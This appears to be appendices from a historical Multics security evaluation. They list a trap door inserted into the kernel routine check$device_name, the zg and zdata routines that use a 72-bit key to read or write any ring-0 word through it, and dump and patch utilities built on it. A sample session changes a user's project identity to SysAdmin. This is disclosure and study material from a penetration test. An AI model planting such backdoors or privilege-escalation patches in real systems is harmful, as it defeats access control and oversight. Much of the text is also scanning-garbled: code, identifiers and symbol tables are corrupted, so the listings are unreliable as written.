<td>flat</td>
<td>2, 7</td>
</tr>
<tr>
<td>52</td>
<td>flxp</td>
<td>flat</td>
<td>5, 13, 26, 36, 48</td>
</tr>
<tr>
<td>31</td>
<td>gie</td>
<td>flat</td>
<td>3, 31</td>
</tr>
<tr>
<td>24</td>
<td>ldq_sta</td>
<td>flat</td>
<td>18, 29</td>
</tr>
<tr>
<td>54</td>
<td>ldq_sta_in_arg</td>
<td>flat</td>
<td>41, 47</td>
</tr>
<tr>
<td>50</td>
<td>trap_d</td>
<td>flat</td>
<td>5, 16, 17, 39, 40</td>
</tr>
<tr>
<td>56</td>
<td>word</td>
<td>flat</td>
<td>6, 10, 25</td>
</tr>
<tr>
<td>54</td>
<td>wordp</td>
<td>flat</td>
<td>5, 33, 49</td>
</tr>
</tbody>
</table>

NO FATAL ERRORS
APPENDIX C

Trap door in check$device_name Listing

This appendix contains listings of the trap door inserted in check$device_name in Section 3.4.5.2 and the two modules needed to call the trap door. Check$device_name is actually one entry point in the procedure check$device_index. The patches are shown in the assembly language listing of the code produced by the PL/I compilation of check$device_index. Most of the patches were placed in the entry sequence to check$device_index, taking advantage of the fact that PL/I entry sequences contain the ASCII representation of the entry name for debugging purposes. Since the debugger cannot run in ring 0, this is essentially free patching space. Additional patches were placed at each return point from check$device_name, so that the trap door would be executed whenever check$device_name returned to its caller.

Zg is a PL/I procedure which calls the trap door to either read or write any 32-bit word accessible in ring 0. Zg uses zdata, an assembly language routine, to define a structure in the linkage section which contains machine instructions with which to communicate with the trap door.

The trap door algorithm is as follows:

1. Set the bp register to point to the argument rcode. Rcode has been bound to zdata$code in the procedure call from zg and must lie on an odd word boundary.

2. Compare the double word at bpl1 with the key string in the trap door to see if this is a legitimate user calling. If the keys do not match, then just return. If the keys do match, then we know who this is and must proceed.

3. Do an execute double (XED) on the two instruction at bpl3. This allows the caller to provide any instructions desired.

4. The two instructions provided by zdata at bpl3 and bpl5 are ldq bp|5 and stq bp|7. Bp|5 and bp|7 contain pointers to the locations from which to read and to which to write, respectively. These pointers are set in zg.

5. Finally, the trap door simply returns upon completion of the XED pair.
COMPILATION LISTING OF SEGMENT check
Compiled by: Multics PL/I Compiler, Version of 5 October 1972,
Compiled on: 02/21/74 11:55:3 am Thu

checksdevicex_index proc (devx, dp, cctp, rcode);
  dcl  devx fixed bin (12),
      /* dp ptr, */
      cctp 8th,
      rcode fixed bin (17),
      cctno fixed bin (18))
    dcl code fixed bin(17);
    dcl ioan_check ext entry;
  dcl error_table_sgim_no_cat ext fixed bin,
  error_table_sgim_nt_assnd ext fixed bin,
  error_table_sgim_badarg ext fixed bin;

;/* BEGIN INCLUDE ....... dct ....... */
;/* Declaration for the Device Configuration Table */
  dcl 1 dct_seg$ ext aligned,
  2 ndev fixed bin (17),
  2 devg (300 /* dev_num_max */ ),
  3 dev$ nam char (32),
  3 phys$ nam char (32),
  3 gigno fixed bin (3),
  3 phyno fixed bin (12),
  3 direct$ chan bit (30)
/* END INCLUDE ....... dct ....... */

;/* BEGIN INCLUDE ....... cat ....... */
  /* Channel Assignment Table for the GIOC Interface Module */
  dcl 1 cat_seg$ ext aligned,
      2 event fixed bin,
      2 abs_base fixed bin (24),
      2 stat_base bit (3),
      2 safeptr,
      2 devtab (200),
      (3 cctno bit (18),
      /* GIM wait event */
      /* absolute address of base of DCW segment */
      /* status channel used by GIM */
      /* pointer to safety DCW pair */
      /* per-device-index information accessed */
      /* by the "devx" presented in the GIM calls */
      /* segment number of the CCT for this user */
      /* = only accessed by one process */
3 dcw_rel_add bit (10);
3 dcw_list_len bit (12);
3 stat_x bit (10);
3 end_x bit (10);
3 pad bit (1);
3 status_lost bit (1);
3 dir_chan bit (1);
3 pad1 bit (1) unaligned,
2 free_x fixed bin (10);
2 overflow fixed bin (10);
2 stat_q (512) fixed bin (71);

dcl dp ptsj

dcl 1 dev_entry based (dp) aligned,
   2 cctng bit (10);
   2 dcw_rel_add bit (12);
   2 dcw_list_len bit (12);
   2 stat_x bit (10);
   2 end_x bit (10);
   2 pad bit (1);
   2 status_lost bit (1);
   2 dir_chan bit (1) unaligned;

/* END INCLUDE ....... cat ....... */

/*
*/
rcode = 0;
dp = addr(cat_seg, devtab {devx}); /* see if device assigned to this process */
sol ioam_check(devx, code); /* it is not, no report error */
if code "= " then do:
  rcode = error_table & dev_ibc_err needs;
  cct = null;
  return;
end;
@ct = dp => dev_entry, cct;
if cct = 0 then do:
  rcode = error_table & dev_0_cct;
  cct = null;
  return;
end;
@ct = baseptr {ct};
return;

device_name: entry (devnames, devx, rcode);

devnames char(*)
devx fixed bin (17); /* device name */
/* device index from DCT */

/* setup and search the DCT for match */
rcode = 0;
do devx = 1 to & dev_seg, xdev;
  if devseg. descr {devx}, devnam = devnam then return;
end;
/* no matches, set complaint */
rcode = error_table & devibc_err;
return;
end;
<table>
<thead>
<tr>
<th>IDENTIFIER</th>
<th>LOC STORAGE CLASS</th>
<th>DATA TYPE</th>
<th>ATTRIBUTES AND REFERENCES</th>
</tr>
</thead>
<tbody>
<tr>
<td>aba_bang</td>
<td>external static</td>
<td>fixed bin(34,0)</td>
<td>level 3 aligned dcl 78</td>
</tr>
<tr>
<td>abt_bang</td>
<td>external static</td>
<td>structure</td>
<td>dcl 8 ref 111 112 117</td>
</tr>
<tr>
<td>act_bang</td>
<td>automatic</td>
<td>fixed bin(38,0)</td>
<td>array level 3 unaligned dcl 78</td>
</tr>
<tr>
<td>actx</td>
<td>external static</td>
<td>bit(16)</td>
<td>level 2 unaligned dcl 93 ref 111</td>
</tr>
<tr>
<td>cc10</td>
<td>based</td>
<td>bit(16)</td>
<td>dcl 8 ref 108 109 110</td>
</tr>
<tr>
<td>ccty</td>
<td>parameter</td>
<td>pointer</td>
<td>dcl 10 ref 105 106</td>
</tr>
<tr>
<td>code</td>
<td>automatic</td>
<td>fixed bin(77,0)</td>
<td>level 4 aligned dcl 31</td>
</tr>
<tr>
<td>dct_bang</td>
<td>external static</td>
<td>structure</td>
<td>dcl 10 ref 130 131 132</td>
</tr>
<tr>
<td>dctx</td>
<td>parameter</td>
<td>fixed bin(7,0)</td>
<td>array level 3 unaligned dcl 78</td>
</tr>
<tr>
<td>dcv_list_len</td>
<td>external static</td>
<td>bit(12)</td>
<td>level 2 unaligned dcl 93</td>
</tr>
<tr>
<td>dcv_list_len</td>
<td>based</td>
<td>bit(12)</td>
<td>array level 3 unaligned dcl 78</td>
</tr>
<tr>
<td>dcv_fal_add</td>
<td>based</td>
<td>bit(18)</td>
<td>array level 2 aligned dcl 93</td>
</tr>
<tr>
<td>dcv_fal_add</td>
<td>external static</td>
<td>structure</td>
<td>array level 3 unaligned dcl 78</td>
</tr>
<tr>
<td>dev</td>
<td>external static</td>
<td>fixed bin(37,0)</td>
<td>array level 3 aligned dcl 93 ref 131</td>
</tr>
<tr>
<td>dev_entry</td>
<td>based</td>
<td>pointer</td>
<td>array level 2 aligned dcl 93</td>
</tr>
<tr>
<td>dev_base</td>
<td>external static</td>
<td>char(32)</td>
<td>array level 3 unaligned dcl 93</td>
</tr>
<tr>
<td>dev_base</td>
<td>external static</td>
<td>char</td>
<td>level 1 aligned dcl 93</td>
</tr>
<tr>
<td>dev_base</td>
<td>fixed bin(12,0)</td>
<td>pointer</td>
<td>level 1 aligned dcl 93</td>
</tr>
<tr>
<td>dir_shan</td>
<td>external static</td>
<td>fixed bin(17,0)</td>
<td>array level 3 unaligned dcl 78</td>
</tr>
<tr>
<td>dir_shan</td>
<td>based</td>
<td>bit(12)</td>
<td>array level 3 unaligned dcl 78</td>
</tr>
<tr>
<td>direct_shan</td>
<td>external static</td>
<td>structure</td>
<td>dcl 8 ref 104 111</td>
</tr>
<tr>
<td>dp</td>
<td>parameter</td>
<td>bit(10)</td>
<td>level 2 unaligned dcl 93</td>
</tr>
<tr>
<td>dp</td>
<td>external static</td>
<td>bit(10)</td>
<td>array level 3 unaligned dcl 78</td>
</tr>
<tr>
<td>end_x</td>
<td>external static</td>
<td>fixed bin(7,0)</td>
<td>dcl 16 ref 107</td>
</tr>
<tr>
<td>error_table_send</td>
<td>external static</td>
<td>fixed bin(17,0)</td>
<td>dcl 16 ref 136</td>
</tr>
<tr>
<td>error_table_send</td>
<td>external static</td>
<td>fixed bin(17,0)</td>
<td>dcl 16 ref 113</td>
</tr>
<tr>
<td>error_table_send</td>
<td>external static</td>
<td>fixed bin(17,0)</td>
<td>level 2 aligned dcl 78</td>
</tr>
<tr>
<td>error_table_send</td>
<td>external static</td>
<td>fixed bin(17,0)</td>
<td>level 2 aligned dcl 78</td>
</tr>
<tr>
<td>event</td>
<td>external static</td>
<td>fixed bin(17,0)</td>
<td>array level 3 aligned dcl 31</td>
</tr>
<tr>
<td>event</td>
<td>external static</td>
<td>fixed bin(17,0)</td>
<td>external irredicible ref 105</td>
</tr>
<tr>
<td>fref_x</td>
<td>external static</td>
<td>fixed bin(17,0)</td>
<td>level 2 aligned dcl 31 ref 130</td>
</tr>
<tr>
<td>ga1</td>
<td>external static</td>
<td>fixed bin(17,0)</td>
<td>level 2 aligned dcl 78</td>
</tr>
<tr>
<td>glr</td>
<td>external static</td>
<td>fixed bin(17,0)</td>
<td>array level 3 unaligned dcl 78</td>
</tr>
<tr>
<td>name</td>
<td>external static</td>
<td>fixed bin(17,0)</td>
<td>array level 3 aligned dcl 31</td>
</tr>
<tr>
<td>pad</td>
<td>external static</td>
<td>fixed bin(17,0)</td>
<td>array level 3 unaligned dcl 78</td>
</tr>
<tr>
<td>pad</td>
<td>fixed bin(17,0)</td>
<td>pointer</td>
<td>dcl 8 ref 103 107 113 129 136</td>
</tr>
<tr>
<td>phychn</td>
<td>external static</td>
<td>pointer</td>
<td>level 2 aligned dcl 93</td>
</tr>
<tr>
<td>phychn</td>
<td>external static</td>
<td>pointer</td>
<td>array level 2 aligned dcl 78</td>
</tr>
<tr>
<td>phychn</td>
<td>external static</td>
<td>pointer</td>
<td>array level 3 unaligned dcl 78</td>
</tr>
<tr>
<td>phychn</td>
<td>external static</td>
<td>pointer</td>
<td>level 2 unaligned dcl 93</td>
</tr>
<tr>
<td>phychn</td>
<td>external static</td>
<td>pointer</td>
<td>array level 3 unaligned dcl 78</td>
</tr>
<tr>
<td>phychn</td>
<td>external static</td>
<td>pointer</td>
<td>level 2 unaligned dcl 93</td>
</tr>
<tr>
<td>phychn</td>
<td>external static</td>
<td>pointer</td>
<td>external irredicible ref 2</td>
</tr>
<tr>
<td>phychn</td>
<td>external static</td>
<td>pointer</td>
<td>external irredicible ref 122</td>
</tr>
</tbody>
</table>
1 zg proc (dp, word); /* Entry to read out 36 bits */
2 dcl 2 data$code ext static aligned, /* structure passed to ring 0 */
3 2 code fixed bin aligned, /* standard system error code */
4 2 key bit (72) aligned, /* 72 bit key to prevent accidental use */
5 2 inst (2) bit (36) aligned, /* 2 instructions to be XEDed by ring 0 */
6 2 (ptr1, ptr2) ptr aligned; /* ptr to read 36 bits; ptr to store 36 bits */
7
dcl do ptr, word bit (36) aligned;
9 dcl hcs$check_device entry (char (*), fixed bin (17), fixed bin),
10 dctx fixed bin (17) init (0);
11
12 ptr1 = dp;
13 ptr2 = addr (word);
14 common call hcs$check_device ("\", dctx, code); /* call ring 0 */
15 return;
16
17 zft entry (dp, word); /* Entry to patch 36 bits */
18 ptr1 = addr (word);
19 ptr2 = dp;
20 go to common;
21 end;
NAMES DECLARED IN THIS COMPILATION.

IDENTIFIER OFFSET LOC STORAGE CLASS DATA TYPE

NAMES DECLARED BY DECLARE STATEMENT.
code 000012 external static fixed bin(17,0)
dctx 000120 automatic fixed bin(17,0)
dp parameter pointer
hcs_check_device 000014 constant entry
inst 3 000012 external static bit(36)
key 1 000012 external static bit(72)
ptr1 6 000012 external static pointer
ptr2 10 000012 external static pointer
word parameter bit(36)
zdatacode 000012 external static structure

NAMES DECLARED BY EXPLICIT CONTEXT.
common 000030 constant label
def 000052 constant entry
zg 000031 constant entry

NAME DECLARED BY CONTEXT OR IMPLICATION.
addr builtin function

STORAGE REQUIREMENTS FOR THIS PROGRAM.

Object Text Link Symbol Defs Static
Start 0 0 144 162 72 194
Length 322 72 16 126 92 6

External procedure zg uses 82 words of automatic storage

THE FOLLOWING EXTERNAL OPERATORS ARE USED BY THIS PROGRAM.
call_out_out_desc return_ext_entry

THE FOLLOWING EXTERNAL ENTRIES ARE CALLED BY THIS PROGRAM.
hcs_check_device

THE FOLLOWING EXTERNAL VARIABLES ARE USED BY THIS PROGRAM.
zdatacode

LINE LOC LINE LOC LINE LOC LINE LOC LINE LOC LINE LOC
9 00005 1 000010 12 000017 13 000025 14 000030 15 000050 17 000051
<table>
<thead>
<tr>
<th>Address</th>
<th>Value</th>
<th>Name</th>
<th>Use</th>
<th>Type</th>
<th>Comment</th>
</tr>
</thead>
<tbody>
<tr>
<td>000000</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000000</td>
<td>000011</td>
<td>name</td>
<td>segdef</td>
<td>code</td>
<td>make code addressable</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>use</td>
<td>impure</td>
<td></td>
</tr>
<tr>
<td>000010</td>
<td>aa 000000 000000</td>
<td>oct</td>
<td>0</td>
<td></td>
<td>instructions below must be even</td>
</tr>
<tr>
<td>000011</td>
<td>aa 000000 000000</td>
<td>oct</td>
<td>0</td>
<td></td>
<td>so pad here with 0</td>
</tr>
<tr>
<td>000012</td>
<td>aa 742331 274457</td>
<td>oct</td>
<td>0</td>
<td></td>
<td>system error code</td>
</tr>
<tr>
<td>000013</td>
<td>aa 621553 174267</td>
<td>oct</td>
<td>742331274457</td>
<td>72 bit key to compare in ring</td>
<td></td>
</tr>
<tr>
<td>000014</td>
<td>aa 2 000005 2361 20</td>
<td>oct</td>
<td>bpl15*</td>
<td></td>
<td>zero for accidental invocation</td>
</tr>
<tr>
<td>000015</td>
<td>aa 2 000007 7561 20</td>
<td>oct</td>
<td>bpl17*,</td>
<td></td>
<td>load thru ptr1</td>
</tr>
<tr>
<td>000016</td>
<td>aa 077777 000043</td>
<td>oct</td>
<td>bpi15</td>
<td></td>
<td>store thru ptr2</td>
</tr>
<tr>
<td>000017</td>
<td>aa 0000001 000000</td>
<td>oct</td>
<td>bpl15</td>
<td></td>
<td>ptr1</td>
</tr>
<tr>
<td>000020</td>
<td>aa 077777 000043</td>
<td>oct</td>
<td>-1,1</td>
<td></td>
<td>ptr2</td>
</tr>
<tr>
<td>000021</td>
<td>aa 0000001 000000</td>
<td>oct</td>
<td>/link/impure</td>
<td>put in linkage section</td>
<td></td>
</tr>
</tbody>
</table>
NAME DEFINITIONS FOR ENTRY POINTS AND SEGDEFS

000000 5a 00000 00000
000001 2a 000001 000001
000002 3a 004 143 157 144  code
000003 3a 145 000 000 000
000004 3a 000001 000000
000005 5a 000000 000002
000006 3a 014 163 171 155  symbol_table
000007 3a 142 157 154 137
000008 3a 164 141 142 154
000009 3a 145 000 000 000
000010 5a 000017 000000
000011 5a 000037 000002
000012 4a 010 162 145 154  rel_text
000013 3a 137 164 145 170
000014 3a 164 000 000 000
000015 5a 000024 000000
000016 3a 010 162 145 154  rel_link
000017 3a 137 164 151 156
000018 3a 155 000 000 000
000019 5a 000031 000000
000020 3a 012 162 145 154  rel_symbol
000021 3a 137 163 171 155
000022 3a 142 157 154 000
000023 3a 000000 000000

NO EXTERNAL NAMES

NO TRAP POINTER WORDS

TYPE PAIR BLOCKS

000024 3a 000001 000000
000025 3a 000000 000000

INTERNAL EXPRESSION WORDS
APPENDIX D

Dump Utility Listing

This appendix is a listing of a dump utility program designed to use the trap door shown in Section 3.4.5 and Appendix C. The program, zd, is a modified version of the installed Multics command, ring_zero_dump, documented in the NPM Systems Programmers' Supplement (SPS73). Zd will dump any segment whose SDW in ring zero is not equal to zero. In addition, zd will not dump the ring zero descriptor segment, because the algorithm used would result in the ring 4 descriptor segment being completely replaced by the ring 0 descriptor segment which could potentially crash the system. Zd will also not dump master procedures, since modifying their SDW's could also crash the system.
/* This procedure prints out specified locations of a segment
   in octal format. It checks first to see if the segment has a counterpart
   in ring 0 and if not checks the given name */

dcl. targ char (tc) based (tp),
(error_table_snoarg, error_table_ssegknown) fixed bin ext,
(code, outl, i, tc, first, initsw, the_same, next_arg, offset, left, pg_size, bound) fixed bin,
count fixed bin (35),
! (3) char (16) aligned static int ("-60 "-w", "+60 "+w", "-60 "-w", "-w"),
data (1024) fixed bin,
bdata (1024) bit (36) aligned based (addr (data)),
overay (8)left-1 bit (36) aligned based,
(tp, datap, segptr) ptr,
dirname char (160),
ename char (32),
cv_oct_check_entry (char (*), fixed bin) returns (fixed bin (35)),
(cos_err_, loa_, entry options (variable),
ringo_get_segpri entry (char (*), char (*), ptr, fixed bin),
hcs_terminate_noname entry (ptr, fixed bin),
hcs_initialize entry (char (*), char (*), char (*), fixed bin, fixed bin, ptr, fixed bin),
(zg2f, zg) entry (ptr, bit (36) aligned),
ms fixed bin,
dseg_word bit (36) aligned based (addr (dseg)),
cu_sarg_ptr ext entry (fixed bin, ptr, fixed bin, fixed bin),
condition_ext entry,
expand_path_ext entry (ptr, fixed bin, ptr, ptr, fixed bin),

1 dseg aligned,
2 padi bit (19) unal,
2 bnd bit (8) unal,
2 size bit (1) unal,
2 pad2 bit (2) unal,
2 sec bit (6) unal;

37 dcl. save_acc bit(36) aligned,
wdsegptr ptr;

initsw = 0;
/* initsw = 0 if we haven't initiated a segment */
datap = addr (data);
/* get pointer to data area */
call cu_sarg_ptr (i, tp, tc, code);
/* pick up the first arg (name/number) */
if code = error_table_snoarg i tc = 0 then do;
call loa_ ("rzd segno/name first count");
return;
end;

if targ = "-na" ! targ = "-name" then do;
/* use - specified a segment number */
next_arg = 3;
/* next argument to pick up is 0 3 */
call cu_sarg_ptr (next_arg+i, tp, tc, code);
/* pick up the ascii for the segment name */
if code = 0 then do /* not there */
end;
go to get_name;
end;

next_arg = 2;
i = cv_oct_check_ (targ, code);
if code ~ 0 then do;
    /* initialize pointer to null(), says don't have it yet */
    sepctr = null ();
call ring0_get_5egeptr ("", targ, segpfr, code); /* check for an octal number */
    if segpfr = null () then do;
        /* must have been a name (not in octal number) */
        call expand_path_ (tp, tc, addr (dirname), addr (enam), code); /* convert to dir/entry names */
        if code ~ 0 then go to missing;
        call hcs_initiate (dirname, enam, "", 0, 0, segpfr, code); /* get pointer to segment */
    end;
    if code ~ 0 then if code = error_table_5egeptr then go to missing;
    initw = 1; /* must terminate the segment later */
end;
else segpfr = baseptr (i); /* get pointer to base of segment */
if basename (segpfr) = "0" then do;
    call com_err_ (0, "zd", "It is a no-no to dump dseg.");
    return;
end;
call cu_5earg_ptr (next_arg, tp, tc, code); /* pick up second arg (first word to dump) */
if code = error_table_in_arg t tc = 0 then do;
    first = 0;
    count = 1000000;
    go to get_bound;
end;
first = cv_oct_check_ (targ, code); /* bad specification for first word */
if code ~ 0 then do;
    call loa_ ("-RBad first word =", targ);
    return;
end;
call cu_5earg_ptr (next_arg+1, tp, tc, code); /* get count of words to dump */
if code = error_table_in_arg t tc = 0 then count = 1; else do;
    count = cv_oct_check_ (targ, code); /* convert count value */
    if code ~ 0 then do;
        /* bad value */
        bad_count: =
        call loa_ ("-RBad count value =", targ);
        return;
    end;
end;

get_bound: =
call ring0_get_5egeptr ("", "dseg", mdsegpfr, code);
call zp (ptr (baseptr (0), basename (segpfr)), dseg_word); /* get size of segment from bound in SW */
if dseg_word = "0" then do;
    call loa_ ("sdw = 0");
    return;
end;
if substr (dseg.acc, 4, 3) = "100" then do;
call loa_ ("d1 Master procedure, SDW = ", dseg_word);
call zgzpf(wdsegptr, baseno(segptr)), save_acc; /* get wired ring access and save in save_acc */
call zgsszf(ptr(wdsegptr, baseno(segptr))), dseg_word; /* change wired ring access to ring 0 access */
if dseg_size then pg_size = 64; else pg_size = 1024; /* get page size */
bound = (fixed(dseg.bnd, 8) + 1)*pg_size; /* get words of segment */
if count > bound - first then count = bound - first; else if count < 1 then go to bad_count;

offset = 0; /* specifies which 1624 word block we're moving from ring 0
out1 = 1;
loop:
if count >= 1024 then left = 1024; else left = count; /* get number of words to print in this loop */
addr (bdata) -> overlay = ptr (segptr, first+offset) -> overlay;
i = 1;
the_same = 0;
if left <= 3 then go to rem; /* if <= 3 to print, do it straight out */
do while (left > 3); /* loop in print loop while at least 4 words to print */
if the_same = 0 then
  call loa_ ("-W -W -W", first+out1, data (i), data (i+1), data (i+2), data (i+3));
else if the_same = 1 then call loa_ ("=====");
do tc = 0 to 3; /* check for duplicate line */
if data (i+tc) = data (i+tc+4) then go to different;
end;
the_same = the_same + 1;
go to skip;
different:
  the_same = 0;
go to skip;
skip:
i = i + 4;
out1 = out1 + 4;
left = left - 4;
end;
offset = offset + 1024;
count = count - 1024;
if count > 0 then go to loop; /* loop back if still more to print */
if left > 0 then do:
do tc = 0 to left-1;
  if data (i+tc) = data (i+tc+4) then go to rem;
end;
if the_same < 2 then call loa_ ("=====");
go to check_init;
rem:
  call loa_ (left, first+out1, data (i), data (i+1), data (i+2));
end;
check_init:
call zgsszpf (ptr(wdsegptr, baseno(segptr)), save_acc); /* replace old wired ring access */
if initx = 0 then call hcs_terminate_noname (segptr, code);
return;
end
<table>
<thead>
<tr>
<th>IDENTIFIER</th>
<th>OFFSET</th>
<th>LOC STORAGE CLASS</th>
<th>DATA TYPE</th>
<th>ATTRIBUTES AND REFERENCES</th>
</tr>
</thead>
<tbody>
<tr>
<td>acc</td>
<td>0(30)</td>
<td>002206 automatic</td>
<td>bit(6)</td>
<td>level 2 packed unsigned dcl 30 set ref 110 114 array dcl 7 set ref 126 level 2 packed unsigned dcl 30 set ref 118 dcl 7 set ref 118 120 120 dcl 7 set ref 43 44 52 53 54 61 62 64 66 67 68 69 81 82 87 88 93 94 95 96 102 161 external dcl 7 ref 54 78 dcl 7 set ref 84 96 95 120 120 120 124 125 147 148 external dcl 7 ref 43 52 81 93 external dcl 7 set ref 61 87 array dcl 7 set ref 41 126 131 131 131 131 131 131 152 152 156 156 156 dcl 7 set ref 41 unaligned dcl 7 set ref 66 66 66 level 1 packed dcl 30 set ref 104 105 111 116 dcl 7 set ref 104 105 111 116 unaligned dcl 7 set ref 66 66 66 dcl 7 ref 44 82 94 dcl 7 ref 69 external dcl 7 ref 66 initial array dcl 7 set ref 156 dcl 7 set ref 63 87 120 120 120 126 131 156 external dcl 7 ref 66 external dcl 7 ref 161 dcl 7 set ref 61 73 127 131 131 131 131 131 131 131 140 140 152 152 156 156 156 dcl 7 set ref 157 70 161 dcl 7 set ref 45 89 97 106 111 111 133 154 156 dcl 7 set ref 124 125 126 126 129 138 143 143 143 143 151 156 dcl 7 set ref 51 52 60 61 93 dcl 7 set ref 122 126 146 146 dcl 7 set ref 123 131 142 142 156 array dcl 7 set ref 126 126 level 2 packed unsigned dcl 30 level 2 packed unsigned dcl 30 dcl 7 set ref 117 117 117 external dcl 7 set ref 64 102 dcl 37 set ref 115 159 dcl 7 set ref 63 64 65 68 73 76 104 104 115 115 116 116 126 159 159 161 level 2 packed unsigned dcl 30 set ref 117 level 2 packed unsigned dcl 30 dcl 7 set ref 43 44 50 50 52 61 61 64 66 68 81 87 89 93 94 95 97 97 134 135 135 135 151 152 dcl 7 set ref 124 127 128 129 137 137 159 154 dcl 7 set ref 43 50 50 52 61 64 66 81 87 89 93 97</td>
</tr>
<tr>
<td>bind</td>
<td>0(19)</td>
<td>002206 automatic</td>
<td>bit(6)</td>
<td></td>
</tr>
<tr>
<td>bound</td>
<td>000113</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
<td></td>
</tr>
<tr>
<td>code</td>
<td>000100</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
<td></td>
</tr>
<tr>
<td>com_err_count</td>
<td>000034</td>
<td>constant</td>
<td>entry</td>
<td></td>
</tr>
<tr>
<td>count</td>
<td>000114</td>
<td>automatic</td>
<td>fixed bin(35,0)</td>
<td></td>
</tr>
<tr>
<td>cu_sarg_ptr</td>
<td>000052</td>
<td>constant</td>
<td>entry</td>
<td></td>
</tr>
<tr>
<td>cv_sarg_check</td>
<td>000032</td>
<td>constant</td>
<td>entry</td>
<td></td>
</tr>
<tr>
<td>data</td>
<td>000119</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
<td></td>
</tr>
<tr>
<td>datap</td>
<td>002120</td>
<td>automatic</td>
<td>pointer</td>
<td></td>
</tr>
<tr>
<td>dirname</td>
<td>002124</td>
<td>automatic</td>
<td>char(160)</td>
<td></td>
</tr>
<tr>
<td>dseg</td>
<td>002206</td>
<td>automatic</td>
<td>structure</td>
<td></td>
</tr>
<tr>
<td>dseg_word</td>
<td>000040</td>
<td>constant</td>
<td>entry</td>
<td></td>
</tr>
<tr>
<td>errors</td>
<td>000176</td>
<td>automatic</td>
<td>char(32)</td>
<td></td>
</tr>
<tr>
<td>error_table_lo</td>
<td>000026</td>
<td>external static</td>
<td>fixed bin(17,0)</td>
<td></td>
</tr>
<tr>
<td>error_table_lo_ag</td>
<td>000038</td>
<td>external static</td>
<td>fixed bin(17,0)</td>
<td></td>
</tr>
<tr>
<td>expand_path_f</td>
<td>000054</td>
<td>constant</td>
<td>entry</td>
<td></td>
</tr>
<tr>
<td>f</td>
<td>000100</td>
<td>internal static</td>
<td>char(16)</td>
<td></td>
</tr>
<tr>
<td>first</td>
<td>000104</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
<td></td>
</tr>
<tr>
<td>hcs_initiate</td>
<td>000042</td>
<td>constant</td>
<td>entry</td>
<td></td>
</tr>
<tr>
<td>hcs_terminate_noname</td>
<td>000102</td>
<td>constant</td>
<td>fixed bin(17,0)</td>
<td></td>
</tr>
<tr>
<td>i</td>
<td>000105</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
<td></td>
</tr>
<tr>
<td>ioctl</td>
<td>000036</td>
<td>constant</td>
<td>entry</td>
<td></td>
</tr>
<tr>
<td>left</td>
<td>000111</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
<td></td>
</tr>
<tr>
<td>next_arg</td>
<td>000107</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
<td></td>
</tr>
<tr>
<td>offset</td>
<td>000110</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
<td></td>
</tr>
<tr>
<td>outi</td>
<td>000101</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
<td></td>
</tr>
<tr>
<td>overlap</td>
<td>002206</td>
<td>based</td>
<td>bit(35)</td>
<td></td>
</tr>
<tr>
<td>pad1</td>
<td>0(28)</td>
<td>002206 automatic</td>
<td>bit(19)</td>
<td></td>
</tr>
<tr>
<td>pad2</td>
<td>0(28)</td>
<td>002206 automatic</td>
<td>bit(2)</td>
<td></td>
</tr>
<tr>
<td>pg_size</td>
<td>000112</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
<td></td>
</tr>
<tr>
<td>pmp_set_ssegptr</td>
<td>000040</td>
<td>constant</td>
<td>entry</td>
<td></td>
</tr>
<tr>
<td>save_acc</td>
<td>002207</td>
<td>automatic</td>
<td>bit(35)</td>
<td></td>
</tr>
<tr>
<td>ssegptr</td>
<td>002122</td>
<td>automatic</td>
<td>pointer</td>
<td></td>
</tr>
<tr>
<td>size</td>
<td>0(27)</td>
<td>002206 automatic</td>
<td>bit(1)</td>
<td></td>
</tr>
<tr>
<td>target</td>
<td>000103</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
<td></td>
</tr>
<tr>
<td>tc</td>
<td>000106</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
<td></td>
</tr>
<tr>
<td>the_same</td>
<td>002116</td>
<td>automatic</td>
<td>pointer</td>
<td></td>
</tr>
</tbody>
</table>
APPENDIX E

Patch Utility Listing

This appendix is a listing of a patch utility corresponding to the dump utility in Appendix D. The utility, zp, is based on the installed Multics command, patch_ring_zero, documented in the MPM System Programmers' Supplement (SPS73). Zp uses the same algorithm as zd in Appendix D and operates under the same restrictions. A sample of its use is shown below. Lines typed by the user are underlined.

```
zp pds 660 123171163101 144155151156
660 104162165151 to 123171163101
661 1440404004040 to 144155151156
Type "yes" if patches are correct: yes
```

As seen above, the command requests the user to confirm the patch before actually performing the patch. The patch shown above changes the user's project identification from Druid to SysAdmin.
COMPILATION LISTING OF SEGMENT zp
Compiled on 04/10/74 1843.6 est Wed
Options: map

1 zpl proc;
2
3 /* This procedure allows privileged users to patch locations in ring 0.
4 If necessary the descriptor segment is patched to give access to patch a non-write
5 permit segment */
6
dcl: targ char (tc) based (tp),
7   (error_table_snoarg, error_table_segknown) fixed bin ext,
8   (code, l, tc, first, sw) fixed bin,
9   (sdwp, segptr) ptr static,
10   wpsegptr ptr,
11   get_process_id_ext entry returns (bit (36) aligned),
12   processid bit (36) aligned,
13   data1 (0: 99) fixed bin static,
14   data (0: 99) fixed bin (35),
15   overlay (0: count-1) bit (36) aligned based,
16   count fixed bin static,
17   (tp, datap, data1p) ptr,
18   dirname char (168),
19   ename char (32),
20   cv_oct_entry (char (*)), returns (fixed bin (35)),
21   cv_oct_check_entry (char (*), fixed bin) returns (fixed bin (35)),
22   ring0_get_segptr entry (char (*), char (*), ptr, fixed bin),
23   (loa, loa_end) entry options (variable),
24   loa_bread_ptr entry (ptr, fixed bin, fixed bin),
25   (rg, rpstat) entry (ptr, fixed bin (35)),
26   bufch char (16) aligned,
27   cu$arg_ptr ext entry (fixed bin, ptr, fixed bin, fixed bin),
28   expand_path_ext entry (ptr, fixed bin, ptr, ptr, fixed bin);
29
dcl 1 addw based aligned,
30 2 pad bit (30) unel,
31 2 acc bit (6) unel;
32
dcl save_acc fixed bin (35);
33
34 data = addr (data);  /* get pointer to data area */
35 count = 0;
36
